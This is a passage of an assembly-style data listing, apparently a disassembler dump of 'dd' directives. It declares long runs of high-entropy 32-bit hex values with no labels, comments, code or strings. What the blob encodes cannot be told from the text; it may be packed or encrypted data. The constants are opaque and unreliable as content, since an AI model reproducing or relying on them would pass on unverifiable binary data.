		dd 0D4B5E3BCh, 0EB7EAA5h, 2ED58B9Dh, 3B7E3691h,	350A6E13h
		dd 0C197E7DCh, 0B2B6C4FEh, 169439h, 394653A9h, 0B05DE829h
		dd 1C0D040Ah, 0FCC8013Ah, 79100BACh, 689D734h, 0CE02D1F6h
		dd 0F7C64CE4h, 17059385h, 0CB97FF22h, 1DDAF849h, 983CD5B9h
		dd 0C32F8A43h, 0E9BC6E04h, 0FDE52784h, 63FF543Fh, 69A54873h
		dd 212FC84h, 51193668h,	602F4973h, 2E3374ADh, 0FC936D92h
		dd 5568C955h, 0A0B41B47h, 0FBE455C9h, 90B0A120h, 69380AFDh
		dd 3AEC2B90h, 0A29F5A40h, 0F10C22DDh, 0DC78043h, 0D9BD69ACh
		dd 0E45E3904h, 60C2F529h, 0B74C0BE2h, 20FDD295h, 564AC6AAh
		dd 332262EEh, 45B4040Bh, 7A16A710h, 0CCF3EC15h,	28873533h
		dd 41B74EF1h, 15B02FF4h, 5A6D0F5Ch, 0D8A45534h,	0A52CA437h
		dd 76B66327h, 8B7F2F39h, 686CDFDDh, 0DA0ABA27h,	34030B2Ch
		dd 7BD602CCh, 0C969E502h, 0BE6BDD50h, 725128C8h, 4CE9760Bh
		dd 0F7185590h, 0A2B76CE6h, 5CFC7343h, 56355075h, 170088FEh
		dd 4873F125h, 164C2D28h, 0A044EC09h, 0DE2D279Bh, 93B6F6EAh
		dd 5144EBAFh, 0CDFECA68h, 4F7CE026h, 0AA192924h, 0ED028611h
		dd 0BB07803Dh, 0FD80925Fh, 0FE204096h, 0C1C49F44h, 254E68E2h
		dd 0D65F98AAh, 0EB9042EAh, 0FEE3AB13h, 60C9B6EBh, 0F470D0B4h
		dd 0AC9009h, 5F5B3C0Ch,	0E956D5F7h, 21BE3425h, 4F83689Ch
		dd 26FC6155h, 0C07D0DDAh, 0D215B47Eh, 864900F5h, 2972DC10h
		dd 0BA0552FAh, 7F2458C4h, 1198C600h, 4ED12399h,	3D3EDE2h
		dd 0B856E53Fh, 1AC5DC01h
		dd 0FA4EC9A8h, 5465558Eh, 2111CD30h, 6C7FB022h,	25502FCDh
		dd 5F2974h, 669053B1h, 1CE9C1Eh, 0E80B6EB8h, 0C807A16h
		dd 5FBF55BAh, 5AE0B825h, 706B72F9h, 717E2A5Fh, 89389B14h
		dd 278D542Fh, 716B6971h, 0D32960CFh, 2C4916E9h,	6182878Eh
		dd 66A8368Fh, 31F35AB6h, 0CA01F415h, 3905ECA0h,	12B0B058h
		dd 0DDEADA06h, 9FC22E0Ch, 1D040B9Ah, 0EBD5FB4Eh, 0BE181EECh
		dd 78E3378Bh, 7B5C96E2h, 3EA25E74h, 9ADD0925h, 0F170F7C2h
		dd 45355800h, 18912C9h,	2E7995C5h, 1224C6EAh, 0ED13BE48h
		dd 0AB9C34EEh, 0C06B24E8h, 58B50370h, 8BF5943Eh, 96931BF9h
		dd 7F7C4548h, 0DC118831h, 68010B69h, 2B373ED8h,	0FED9B7D1h
		dd 41124134h, 628E4106h, 24B40756h, 0B012BAB8h,	0D2D1096Fh
		dd 5FFE7122h, 84F9927Dh, 0AEC8ECCBh, 0B243138Dh, 9340EE61h
		dd 648718EFh, 0F8012FC3h, 185FE09Ah, 0BF64E934h, 0C6DF9009h
		dd 0EF803D10h, 0BBF70473h, 0FA5BFE28h, 0B51F6FB3h, 1EE1ED7h
		dd 5AF38859h, 7060CD80h, 0E91003AAh, 5500523h, 0F3900E1h
		dd 0DD8F732h, 9052ABAh,	5C4AE93Dh, 0E51B193h, 0BE52E028h
		dd 1C8B89ABh, 39E91021h, 8F4B8912h, 1743F301h, 133A56EDh
		dd 656D1FA8h, 214775E3h, 56F06403h, 0F9228F0h, 5052D0F7h
		dd 98497644h, 73404A76h, 5A340BBEh, 40807E3Fh, 68931380h
		dd 18F79BDh, 0EF205866h, 0EA468859h, 1E742DACh,	0B8034F10h
		dd 3ED078BDh, 705DFE7Ch, 0B6BF03A8h, 0D27A9C5Ah, 8161688Fh
		dd 32E409CDh, 6F8A35ABh, 16780343h, 0F5F034D2h,	9BEC1F92h
		dd 0FB0B894Bh, 535B74E6h, 3B42D6D9h, 54F9E797h,	0C38916F9h
		dd 6FA9F53Ah, 21302E20h, 4D88685Eh, 2D9CFC59h, 5864A654h
		dd 48567CF0h, 8B195A50h, 7FEAB16Ah, 0CBBE5E5h, 3667478Bh
		dd 802F7CAh, 0A47002E9h, 0B2529880h, 78982470h,	0A6FA2833h
		dd 0EF5102D2h, 39EA60DCh, 0E9065A45h, 0F27CA31h, 0DF5711F1h
		dd 8119FEF6h, 0E2DAFB9Eh, 0C390809Ah, 0BA233DE9h, 61650F94h
		dd 5845166Fh, 7D8D21EBh, 555F024Ch, 7477811Ah, 4F044980h
		dd 0DE590C94h, 0CC225C07h, 401FB15Bh, 0A36DB2FBh, 447C60F9h
		dd 8964B41Dh, 0BFA9EE96h, 0DB694E4Ch, 2403BE7Eh, 0E15F8A32h
		dd 0B04C03B5h, 0CF5EBD5Ah, 4AEBE9C2h, 0BD7BFF65h, 84D62989h
		dd 0A657C0EAh, 203C20CCh, 5C031AB8h, 67EA52Dh, 65D4A82Fh
		dd 291C0A17h, 705D8h, 55FDBB53h, 0E92F4D2Fh, 0AD566142h
		dd 0A920E1D8h, 68C092A2h, 0DEEAC115h, 40220E0Bh, 0EFC456C4h
		dd 0E9CE8C50h, 5A8B9665h, 0D63EB3ABh, 0E9668CEBh, 0DD8D5327h
		dd 6AAF4E98h, 88C9766h,	1542952Fh, 0BC41E5D7h, 7ED0142h
		dd 131A402h, 8059D25h, 71769AAh, 0E84051EBh, 800CBF5Ch
		dd 17C2F6Dh, 0BF1B68C2h, 3DAC1351h, 29E89B19h, 0F9EAF260h
		dd 4056FF60h, 9C046892h, 5B12990Bh, 0E95088AEh,	7C729E2Dh
		dd 0D6B96188h, 5DE707FEh, 5F240919h, 0D29FBCD0h, 1D20E74Fh
		dd 0EC28D6E5h, 848B32E4h, 0B5166153h, 7F63F805h, 9D3DF89Fh
		dd 879BA2DAh, 37E9FD02h, 9067AC5h, 6F824A05h, 1CED4C02h
		dd 3D65DB77h, 3E025AFh,	0F00A0BFh, 68531B56h, 502E1909h
		dd 48FED737h, 49969B21h, 45DF3020h, 0D0502F9Ch,	0ADC532F0h
		dd 22FA05D0h, 1978F268h, 1C70F4B7h, 0A5F1268Fh,	800848D5h
		dd 52642D7Fh, 0DC0BE4D4h, 97A1F3C8h, 0FA0E4D2h,	6BF7AAA9h
		dd 7E0D8F81h, 7D2EEF2Bh, 0E912F617h, 55F025DDh,	0B06FFC10h
		dd 0A67C159Fh, 0F06F1692h, 10E1A594h, 3A286E2Ch, 0F97604F8h
		dd 0E90BA062h, 1E480BE3h, 0D8080C0h, 4C340169h,	5E95050Ah
		dd 62860D4h, 7DFEED25h,	0C720ECECh, 7358BDE2h, 7CBEEE6h
		dd 2A85807h, 96B05D30h,	0ED79F501h, 25EF2943h, 0BCA2FEECh
		dd 0A85AA79Fh, 8C5E38EEh, 0FD683F91h, 0D559933Bh, 6444FEDAh
		dd 1B0D6648h, 0EA1F1759h, 55205FA3h, 1F39CB81h,	11154330h
		dd 40221EBh, 46E91BA2h,	0A162AAC4h, 5E89C8EAh, 30F6CE58h
		dd 0AC4AA433h, 0DB40D417h, 69AF7A12h, 0FFD74375h, 12BD328Fh
		dd 4720A36Ch, 9C7290E8h, 0FC5CA7DEh, 0F3FC5912h, 0C8F902D2h
		dd 0C36CA268h, 0DEF6E6B8h, 102B0852h, 0AE626B54h, 0EE24E0C0h
		dd 0C2B894AAh, 935FE2CDh, 0DF19C1E0h, 0FD09FA52h, 14A35E02h
		dd 97B29CF5h, 2A321F50h, 0F75F42E7h, 0BD501C19h, 31AACAD1h
		dd 0AA2D6Fh, 62E5C14Dh,	85FB9A06h, 0F6AC10Fh, 16937B3Fh
		dd 17B242h, 3A013369h, 1FB1BF57h, 0E2E4561h, 5E873CF7h
		dd 0DBCF602Bh, 6A60516Eh, 4A21B818h, 0FD011642h, 2840AA5Fh
		dd 2D114E67h, 609125E9h, 0DB276451h, 8F2CF8Ah, 0BB00F385h
		dd 2BC4064Eh, 5BDF7C29h, 8773C1CEh, 92B5DFF2h, 0D0DD05D5h
		dd 76CB55Fh, 0CABD8FAEh, 30255556h, 2C9EED40h, 0A512BDFEh
		dd 0CD12C2BBh, 9FC5D47Eh, 800F6DE8h, 7C0B6EC6h,	520B69D0h
		dd 30417068h, 0B0052D63h, 98DAF050h, 4AD22DF8h,	0FB4080FEh
		dd 0C010916Ch, 3173200Ch, 0D45EE91Fh, 0DEBA6EC0h, 79A93E51h
		dd 0AA4E6B49h, 8B6B103Dh, 30572DDAh, 0D6CA02DAh, 0C90EEBE3h
		dd 0B1513088h, 0B986EC7Eh, 0C473BC3Fh, 9B141923h, 93427900h
		dd 47F3812Ah, 55B66F18h, 17D2C4A8h, 0B80180DAh,	0B4E9C27Eh
		dd 381AE9FBh, 0CA896385h, 0B4C85659h, 76D3810Ah, 137F9FBDh
		dd 56D655E9h, 349C97F1h, 7A5609D3h, 99096952h, 0C2ABA07Fh
		dd 7E1AD93Fh, 0A60E2DBEh, 414E22E4h, 6861C8BBh,	1A6A262Dh
		dd 0E95F2Eh, 548A2855h,	53499ECAh, 97E6028Eh, 80796A1Fh
		dd 44523696h, 95D17C1Eh, 0F9004C51h, 0E9FEF868h, 0A3A45BBBh
		dd 0D34B7C9Bh, 0F4E01F8Dh, 70572F52h, 1F1C5AFBh, 0C4C09560h
		dd 0A9255016h, 8049E243h, 0A654A7ADh, 4B0CC13Ch, 253DF80Bh
		dd 97023AF0h, 13EE144h,	0EC9D4D92h, 8360D3E9h, 47F2F3C5h
		dd 521A6F16h, 57F786A5h, 12AD648Ah, 60BDA5A4h, 0E976577Dh
		dd 0CA909B92h, 0B959E6F5h, 6DA03Ch, 0ED63B0B8h,	3A470538h
		dd 800B323Ah, 6C733E99h, 968FB6E9h, 9404493Dh, 0C176BA33h
		dd 2869404Eh, 43F6FA4Fh, 95EA8000h, 0F0E9D530h,	0B900B6B4h
		dd 7F1F728Ch, 4E209849h, 89325D32h, 63DEE5C8h, 74576842h
		dd 4677690Fh, 5BD92F72h, 0B514947Dh, 0BD2C634Dh, 4209108h
		dd 0EA1BFB68h, 7037FC37h, 31E91D61h, 0EC556664h, 41DF5EF5h
		dd 9003CF15h, 10196859h, 0B703DD2Dh, 0F6B2522Eh, 0D961D28Ah
		dd 7D617AF2h, 242310CBh, 544AA4Fh, 80072E62h, 0F9094FEDh
		dd 0A6D96B91h, 0BE09E470h, 289D103Ch, 0A589BC9Fh, 71F66277h
		dd 9FDA688h, 9EFD46B0h,	77F60033h, 1289C33h, 2E5AE9F3h
		dd 0DD5DD509h, 7873B668h, 0A7024F24h, 5A109F2Ch, 5C071458h
		dd 0C564B62Ch, 0A26B9771h, 67D52EF5h, 0B65B9307h, 903189DFh
		dd 82D11410h, 816387FFh, 0FF0F7E37h, 1C6F833Ch,	13E83FE9h
		dd 0EB3C3322h, 0F417E1E7h, 0EF695FD0h, 9ACD73D9h, 0BBD7246Ch
		dd 46EEDCC0h, 137F2558h, 8807CDAh, 0F234E95Bh, 84BE58E1h
		dd 0E22627E8h, 545C7785h, 763C088Bh, 6FA0563Ah,	5E950D73h
		dd 7A515908h, 0C9E7A60h, 765F58C4h, 3F5CC10h, 0A523DDBDh
		dd 5C3DD13Bh, 0AD0577BBh, 0F626EE43h, 5DF100D1h, 5341F15h
		dd 8C2A1273h, 40281610h, 68E8D1F6h, 0A89B7E36h,	49625203h
		dd 0C4D8EB28h, 0E704D1B3h, 0FE437C5Ah, 0AD0FFD12h, 23C08013h
		dd 0BFA04DE9h, 3598FB51h, 17BABF85h, 1313D317h,	4BFCE8B6h
		dd 495931AEh, 0D27BC977h
		dd 0C2C24C56h, 9FC5666Fh, 9799176h, 0C80EA54h, 7A2118E0h
		dd 0D1D85066h, 35D825Eh, 0EC23687Bh, 78E030EAh,	1912B652h
		dd 97C2E4E9h, 0C1C2C3C1h, 0C2251DE2h, 9866E03Fh, 90CA134Fh
		dd 2801C51Ch, 4A39073Eh, 194B756Eh, 0F02AA05Dh,	4E2D906Bh
		dd 7A910B09h, 0F8C61762h, 29AB294Fh, 0B3F63FFBh, 16153010h
		dd 95AEE52Ch, 0BFA6531Bh, 6815278Fh, 0E909E0FEh, 15F9AEE0h
		dd 5D4A1D62h, 0D8B72CCCh, 574F3411h, 0FAB718FBh, 0C2C4DA29h
		dd 0E2BAAAC8h, 26FD5890h, 0A4E375C0h, 5309876Ch, 0DB7E2D2Eh
		dd 0F64B2AE6h, 3EAC9FC3h, 4114D30Ch, 631B6ABFh,	4B03BC86h
		dd 9812D136h, 0F9A447D4h, 0F260BD59h, 581C5B97h, 25128011h
		dd 0ACB7EB3Dh, 1519EB48h, 2BED838Ch, 13B0BEAh, 0EAB85302h
		dd 0BEB9D75Bh, 32798E1h, 1907CB35h, 0B612C21Bh,	0FB23F14Fh
		dd 3F531804h, 1837B7Ah,	0E90D095Dh, 0C7E8D983h,	0C082EEBAh
		dd 91886897h, 0D495BB74h, 4D10911Ch, 4BE54C9Fh,	0FAB798FFh
		dd 5143E916h, 1AB46345h, 1CE8CE8h, 8972EB12h, 42A3575Eh
		dd 0C502E208h, 0AB7B0FF3h, 11EBFF6Fh, 9265F617h, 0B9E140BBh
		dd 191D487Eh, 547B6295h, 471046A4h, 63CA0134h, 0F1A84384h
		dd 4031BA38h, 93D02182h, 4AB85A1Fh, 0B8AAE984h,	37FB5E4Fh
		dd 172CC29Eh, 0AA595DA5h, 5D290E6h, 677891BEh, 0EA5892F0h
		dd 0D48812DDh, 4AF80810h, 0ACDDC62h, 435E2FE2h,	0A407D3ADh
		dd 48E618A4h, 1CEEC3FEh, 7CB87D5Eh, 8247D79Fh, 6CD55758h
		dd 21DC3C6Eh, 0EF52506Fh, 502552Fh, 0C1F736B1h,	0B7BD41DDh
		dd 420F219Dh, 746168C8h, 7C6631DCh, 0E1E59FC1h,	0CAF82D3Fh
		dd 0F08BCAD1h, 797841CEh, 201E4C0Ch, 91BF0EA7h,	4F012B12h
		dd 0FCC6E781h, 0BB902925h, 55BE4927h, 76C92A13h, 0FEE77A11h
		dd 462E8842h, 7D669413h, 7A0D6882h, 97611855h, 7FDBBD17h
		dd 9B63CB90h, 0DD25FE5Eh, 0B9C87DEFh, 3BF9D610h, 0F94A55B7h
		dd 25EBD433h, 0FF1BC2A1h, 8BC9AA71h, 852B77FAh,	6E084854h
		dd 755C2797h, 0E30C891Dh, 6D92804h, 1768E22h, 88250FEh
		dd 79C240DDh, 16F53244h, 6DC6E5D4h, 0B2E36EB5h,	407990F8h
		dd 2BF42513h, 2D44FC01h, 326F477Bh, 5238A4FDh, 0CC46B91Eh
		dd 0D9B62039h, 0BEC84B24h, 0ECB89112h, 2E5C10Ch, 5513FB80h
		dd 0FCF159D8h, 581AFDCCh, 0D5106043h, 0FC5F2D76h, 98E4837h
		dd 0B8578D79h, 0E7665BB3h, 0E12CB2E4h, 0F5801287h, 79EB3757h
		dd 90E47055h, 1CB1278Bh, 7549C87Ch, 215EAAC0h, 4135D17Fh
		dd 0E0BEC1D3h, 913C057Eh, 730B2C18h, 0BC002624h, 813C7456h
		dd 49210BE1h, 0BA066E72h, 0A50F1205h, 0B6F6D01h, 8692A057h
		dd 0B75166DEh, 53731570h, 0A6B0E375h, 65EC585Bh, 6DDEAC5Eh
		dd 0F3F91824h, 16554EAh, 2C8CC680h, 0E9E7C854h,	716F6D4Dh
		dd 1E40773Ch, 0DC25CBDAh, 9068C1D6h, 77317E11h,	0DC7F8671h
		dd 76B56876h, 0EF58130Ah, 2404BAC5h, 56E93DE2h,	92CABED6h
		dd 0E05D0525h, 5D6E68CAh, 0AE92B248h, 205DDE0h,	25223CFDh
		dd 0C740D001h, 5FCB579Ah, 7A95DEDh, 0E024B35Dh,	586675E0h
		dd 88586371h, 69E90840h, 9C5FEFFFh, 9AB720BFh, 0CF927A95h
		dd 488D87AAh, 18947B37h, 3568A042h, 0E252C829h,	0ED5581D9h
		dd 498D2B7Dh, 274FA5E0h, 51306478h, 1A1684EFh, 58B527EBh
		dd 0E9125732h, 834F014h, 7026E377h, 24CF2994h, 40D0954Eh
		dd 0B5CB87DFh, 0EB4E9F6h, 26F1B4EEh, 813BA460h,	76D415F5h
		dd 45BB1853h, 2BC31441h, 0D09D3F7Fh, 0E308C526h, 0CEE1FF07h
		dd 0FE5C90BFh, 25B2FC5Eh, 78DD8B0Bh, 2883B0D9h,	0BD86D73Dh
		dd 50324400h, 0CFEC1A05h, 1645080Ch, 129ED80Eh,	0A0170B6Dh
		dd 4B13B019h, 2403D533h, 94B670FAh, 166594EAh, 9D4BFB08h
		dd 0DE473B5Bh, 91C89736h, 611AE7BBh, 83B83D13h,	0E1E2CB9Eh
		dd 886E540Ah, 0C24138E7h, 5A0D7528h, 0EDBCD931h, 11B6D42h
		dd 0E21ECEAAh, 123FF089h, 0B4C2EBA7h, 2041D001h, 38906E3Ch
		dd 102D141Eh, 7CDFAD3Eh, 11E488DDh, 0A540EA9Ch,	0D3317584h
		dd 8A68125Ah, 0BA6E6525h, 0DF12F95h, 0E93EA06Eh, 92D01B25h
		dd 985ADDEDh, 0BF4E0505h, 0E5AE4DC3h, 0F03EFC93h, 0DCB62EC1h
		dd 5D31F588h, 0B5C34CD9h, 0EDC09A61h, 0ECFA0BFh, 5BC45F2Ch
		dd 0D15C0BCDh, 0C9D70829h, 1CA05917h, 0C6D04C29h, 6F37D22Ch
		dd 0E0D0110Bh, 0FCB5511Ch, 0FC59E80Ch, 6727B707h, 0BF01A84Bh
		dd 6B914E84h, 0E1C59347h, 9BB44A0h, 97C8AC8h, 409530F8h
		dd 0B54206Ch, 8D75E914h, 0BD5FA5CCh, 0E3B2CF02h, 7567D528h
		dd 71A7631Eh, 0E0589DCh, 27FF56B2h, 1D806EB3h, 2C88E681h
		dd 9A8BF13h, 4D742991h,	0B02A7287h, 0F47908B9h,	0FB2D0822h
		dd 5800D65Fh, 1995D0EBh, 95752A85h, 0A8542FF5h,	60FCC7FEh
		dd 2D1842F3h, 4AEFF8EDh, 0E7EA3A76h, 456B0D41h,	0AE3F2EF7h
		dd 8B0B1874h, 0F42DA01h, 6D6E3293h, 0FC04DA64h,	7B05C003h
		dd 142E631Ah, 72DD829h,	31402C4Eh, 1573E5B8h, 0BAD38383h
		dd 0D5336A65h, 0D727C845h, 0A64CEAC5h, 74F19D2Eh, 0EE2D4582h
		dd 9EDAC00Eh, 7E7BB579h, 57CA0A5h, 0A07BB61Ch, 9D42E995h
		dd 30B41E00h, 0A6A1C480h, 5BD274D4h, 0F30C8725h, 21489C1h
		dd 0C7056972h, 128D2654h, 1360D4BEh, 0E45AF08h,	67A4CDA8h
		dd 561E4933h, 7D45DF0Fh, 0DA5D0E53h, 0AE4A0E05h, 7C81A41Eh
		dd 99E93091h, 0C32E6D25h, 5E92568Bh, 9DF72075h,	0B7455A6Fh
		dd 0CA045DBh, 0BD8E64BDh, 0F469AA65h, 807FC933h, 82849DDh
		dd 0EE74C63Ch, 894A0F47h, 9ADFC3A0h, 445BA03Fh,	1005017Ah
		dd 87A9E6BDh, 0E0B7A65h, 0C9D05131h, 6838FD01h,	2E74215Eh
		dd 0A5A7A9F8h, 0E006CD16h, 150A0F65h, 6BA5D69h,	0A2B2572Dh
		dd 745D8442h, 0BA0C3464h, 0C6070E8h, 63757754h,	81207A9Dh
		dd 0D8F2E908h, 2B79BD36h, 622FD003h, 0DE47F101h, 54B5BB64h
		dd 0FC544831h, 31805BC6h, 7F9CADCDh, 0BBD74DA3h, 0DBE98B91h
		dd 0B8491E24h, 5A6F9A8Ch, 82CBE866h, 66FEC74Ch,	1144602Dh
		dd 2A4F630Dh, 0F02D3202h, 75722F7Fh, 0D5E90001h, 0F77D8E26h
		dd 318CC742h, 7E2849BEh, 2A328038h, 0D0F72586h,	0BC970502h
		dd 4901E718h, 0CB2B5F2Ch, 253810E3h, 75EE8009h,	0CCF64FD8h
		dd 0D2956792h, 7762E54h, 317AC2DBh, 4A3F1C0Ch, 13D2D1A6h
		dd 8B2D007Dh, 5F61617h,	0C0985F50h, 0AD26720Dh,	2D093555h
		dd 0D5CCAF3Eh, 6E6AC38Dh, 6432E201h, 1F2020A3h,	0D61E0B9Bh
		dd 0E45C296Fh, 74C60820h, 436CC8Ah, 80575EB8h, 9FC1FB5Bh
		dd 0AF04F804h, 283117B9h, 0A44518h, 0C40CE268h,	0E554EDFBh
		dd 8BF247B0h, 776EAA5Fh, 93027502h, 94E05466h, 29880BD5h
		dd 73E95103h, 0EC475F9Bh, 0C5FB4B9Ah, 900DB272h, 0AB124EE1h
		dd 0CBDFA2ABh, 19D704h,	84E06A58h, 2D429E5Ah, 23B76D4h
		dd 67DADB9h, 3954DE0Fh,	22AD9E51h, 7A69AEDBh, 0C755E977h
		dd 0AFB9A4FEh, 0F85D09BDh, 0AC681720h, 0E82DAE2Eh, 37882344h
		dd 6432768h, 0DDDB985Ch, 0CAEC2EB1h, 0EA39188Bh, 0C8EE226Bh
		dd 7582C42Fh, 2954402h,	0B1800EC6h, 0AF09F041h,	46FA3121h
		dd 0FE054B6Ch, 7F2D9209h, 58E99CC0h, 0D8FD6467h, 0E852B37Fh
		dd 1A5B3ABh, 4567BB53h,	0E8752BD7h, 0B9051F69h,	8548CF4Dh
		dd 3B9DA17Ah, 9543FAFh,	0BB486855h, 3617D06Ch, 0FB5A4E72h
		dd 58E24490h, 0E90A09E3h, 52265220h, 65731C5Eh,	0EA2C227Ch
		dd 0CF9C0401h, 0D7F7F986h
		dd 7E088208h, 0C81852D0h, 609E05B3h, 0AC63362h,	0BD9845D8h
		dd 3AF17FDBh, 3B2D6DBFh, 7BA8AED1h, 0D2DC9C68h,	0B1BCBC55h
		dd 0E33AF79Dh, 6151002h, 0F41A5C3Fh, 0FD88C4h, 144720BEh
		dd 9B88A00Fh, 21632F9Fh, 0E801CE60h, 0D7F29A81h, 0B180E16Eh
		dd 3EAA297Eh, 1E7EF07h,	715623A7h, 20C2D77h, 0BC77C6EBh
		dd 60E87724h, 0E8609AFh, 6A630BBDh, 2FE581C3h, 4D35C0CFh
		dd 0EF48F5E9h, 0F001D245h, 7F407688h, 2C07B3FBh, 39DED7E3h
		dd 0E02F6D93h, 0A0277E4h, 7CE94C87h, 4B02F105h,	0DBA7C47Ch
		dd 3CFA0B07h, 0D7AD84D9h, 0D2C437AFh, 0B6A2AA29h, 0B525ACD4h
		dd 0C0B64910h, 0A490F0E0h, 8D04C241h, 0E1C588C1h, 0D99CF56Ah
		dd 65BE04CAh, 123C8273h, 6A32BF00h, 60434C5Bh, 0AC553B0Dh
		dd 0BA7120B8h, 6237400Bh, 96C4092Fh, 0C56825F3h, 5EEE9857h
		dd 0CD64B50Ch, 67076812h, 2F769FAh, 3FD0716Ch, 0C5B5511Dh
		dd 0B44A7A79h, 5D6853C0h, 67FA46h, 29BE565Fh, 55279D41h
		dd 3EF0BD1Dh, 0F5817000h, 4CE05BB4h, 943EE566h,	0E0FE0917h
		dd 0DE17F777h, 0EAF1F0E9h, 8783BC7Ah, 0CEABFB68h, 38B3905Eh
		dd 22273752h, 0F70476DEh, 0B85AFA4h, 296FE0EFh,	845ACE7Dh
		dd 87683902h, 2FA9C453h, 8051FED3h, 15A5766h, 72454E6Ah
		dd 6B403DE9h, 0C7C980A9h, 14ACA75Eh, 0D586E225h, 993EF5D3h
		dd 0E37B996Ah, 57C199EAh, 0F44E61E4h, 0E10C9E0Ah, 3A90331Bh
		dd 17DC5C10h, 3E0B09CEh, 2CE3E4EBh, 96C5266h, 8818CBC0h
		dd 225FEC68h, 0BFF4D6FCh, 917F7C29h, 2A505682h,	49DFD5F2h
		dd 0EB444A26h, 4BDB1B97h, 3896FF0Dh, 6B5CB7C6h,	0B7082650h
		dd 0A1F61A6Eh, 13E8B65Ah, 28550A8Bh, 31E352C5h,	2834C6C3h
		dd 94D9C285h, 0EB21C266h, 0C040DC57h, 7C7B57D0h, 20E6F0BFh
		dd 2D04F832h, 511D2A50h, 740DFF8h, 622AF35Ah, 5E5F5945h
		dd 0C3E550D7h, 22B380C0h, 0B0CE380h, 35326866h,	5B34A9C4h
		dd 90EB6C7Fh, 15F3819Ah, 205C82E0h, 42CE3466h, 0E2A3ACBEh
		dd 68F15F57h, 60FBE9E1h, 93BD236Ah, 0FAE4F4BFh,	0EAD693A2h
		dd 77D1C734h, 722320D3h, 76B65201h, 6B39EFE9h, 0DF10D48Fh
		dd 0EE027B99h, 3A76D78Dh, 0D75E5709h, 98801502h, 0D06660A5h
		dd 0A4F2570h, 0A8696900h, 14C0F10h, 0D36F736Dh,	80444E24h
		dd 7330352Eh, 0BF2A4B91h, 5AEF3D4h, 0F8E0C19Ch,	2D020EF8h
		dd 0D34806D9h, 2A940A6Ch, 5D46C1Bh, 0C285472Bh,	5BCACD07h
		dd 278D6C7Dh, 3A5F2038h, 19145789h, 61ACB391h, 0F6E068E2h
		dd 84F769DBh, 0AF123C5Dh, 356A3F44h, 0B0575D09h, 0D7DE55D1h
		dd 312DAA92h, 5D881051h, 7F588004h, 0C900748h, 4C01AA5Fh
		dd 904FE7BAh, 0E0EA8F30h, 0CB0A50D8h, 0A5BF2EFh, 0D7293FCFh
		dd 970820A7h, 3B5AF7E1h, 4B1CBCE0h, 0D477EA6Ah,	0CAC0E8C2h
		dd 0FFDEC2F0h, 0FE553D4Ah, 3AA052ABh, 3219277Eh, 4880F697h
		dd 0FCE9090Ah, 0B26E0B57h, 612BC983h, 0F323C82Ah, 80074796h
		dd 43B9FE2h, 9A81517Eh,	0EF055A3Fh, 880DF100h, 0BAD7E9FDh
		dd 1F9802h, 41957867h, 750CF681h, 4E091BF4h, 5CCB83E9h
		dd 0E1B270CDh, 0CA1CD6B2h, 37F93141h, 8BE208D1h, 0BB645C42h
		dd 21582392h, 0C710E36Ch, 429CB287h, 8E46E5Ch, 0E212B9F8h
		dd 0D0CCF0DBh, 3EA83EF1h, 405FA110h, 0D121EC8h,	2EE1123h
		dd 7F34287Bh, 556A84D7h, 17DCE1E1h, 5E3E05B9h, 0F4C7C2E9h
		dd 63BDC640h, 59EBA9F3h, 0BFB23BF8h, 506DF720h,	0AAC13601h
		dd 4DB42EB6h, 18D0E6D8h, 0C7E7F6Ch, 452D0DEDh, 30385C65h
		dd 0DA48C480h, 3FE93D12h, 0ED7A5DA1h, 0F8EAF401h, 6E049608h
		dd 0B9EFFF77h, 0DD3EDA40h, 906AFD3h, 76D61C77h,	62548994h
		dd 0A19A18DDh, 78EB8014h, 80504B9Dh, 0CB814BE2h, 1004860Ch
		dd 0FA2D0C0Dh, 18285CC5h, 0FE566401h, 7B57E978h, 62EEB412h
		dd 0B2E15F3Bh, 0E7F66FBBh, 20C4AA4Eh, 0CBDBF3BEh, 7B48FF66h
		dd 0EAA1BF5Eh, 33A33C58h, 0B544FA21h, 27ADDCDh,	3D92384h
		dd 1399D940h, 0D0299A27h, 3D631895h, 3E3C0C4Fh,	0D13124E2h
		dd 132E10E9h, 34AC12F9h, 453128Ah, 0AECE8902h, 6B2CBCB0h
		dd 0F8D26968h, 0F5D1BF0h, 58E9C5C2h, 0B21C87ECh, 0AAD01369h
		dd 70C74504h, 0C469E90Fh, 20C7C45Fh, 0BE5A632Bh, 0FC0313FAh
		dd 28EB4A19h, 2C4008A7h, 600B9150h, 555EF589h, 0A6E95609h
		dd 0E4F822CFh, 0BA26C4Fh, 3AF4522Dh, 0DA083D5Ch, 90C181FCh
		dd 380A5818h, 19F412F8h, 0F62AAE29h, 5E7B108Bh,	0B62E533Bh
		dd 68F3AF47h, 0B2FE0912h, 2612D654h, 0B75FF8BCh, 0F251454h
		dd 6731102Ah, 0BBF3502h, 0D1DF1FABh, 0F796A37h,	2B4975B1h
		dd 4182BB00h, 0E909E7D0h, 7EFF803Ah, 0AFFCC998h, 0B3BB4A89h
		dd 0C8F0CA4Bh, 0F0C9B06Dh, 20D6B801h, 30126450h, 890E59CBh
		dd 6AD8CAC0h, 6C3A82E9h, 6B0D5E8Eh, 0FF2C59E5h,	0FEC8F412h
		dd 0B7E05AD3h, 8996278Bh, 74FC0BC1h, 2519AC88h,	69064077h
		dd 354995CDh, 0B8CCE350h, 5F5C001Bh, 14456851h,	342C4AE0h
		dd 9EFDBA21h, 2E4F7C05h, 0CE0DEA82h, 0EC7A0731h, 0F7AFA5E3h
		dd 2011CB85h, 3152685Eh, 5E1D25E1h, 0F32B0983h,	1C4F07ECh
		dd 7789AE82h, 0ABD358B2h, 6F37E985h, 3C564FEAh,	9CF0CE09h
		dd 0E3D15F1Ch, 0B3B6EB93h, 0B8CA4071h, 17412709h, 0C7448030h
		dd 135D167Bh, 0E3118268h, 518D040Fh, 0C1C0459Fh, 0C0F90AA3h
		dd 46C0EE0Ch, 0C176427Bh, 5E620490h, 0DF5559ADh, 222B0AB0h
		dd 0A43F209Dh, 7C1EF04Fh, 0AA05E852h, 6C1A8EC1h, 0DFC127D1h
		dd 0A0D5AFF5h, 995A94D8h, 4E94981Bh, 34EF248Ah,	0DCA7C66Eh
		dd 2FE78013h, 0E658490Bh, 0C5C15A98h, 0F12CBD70h, 466AF842h
		dd 0C901A4Eh, 0CE0C479Eh, 64C4D778h, 0EAE7A5DEh, 6BA80701h
		dd 543E8719h, 6F6CEB89h, 3C178D9Eh, 1E984B16h, 550CA1F5h
		dd 4A437890h, 0A8AA6EC4h, 873C0BB9h, 1378735Bh,	4E16FB3Eh
		dd 0FC2B2DBFh, 0F4B50377h, 6475A7A8h, 54552D9Dh, 0C7625C59h
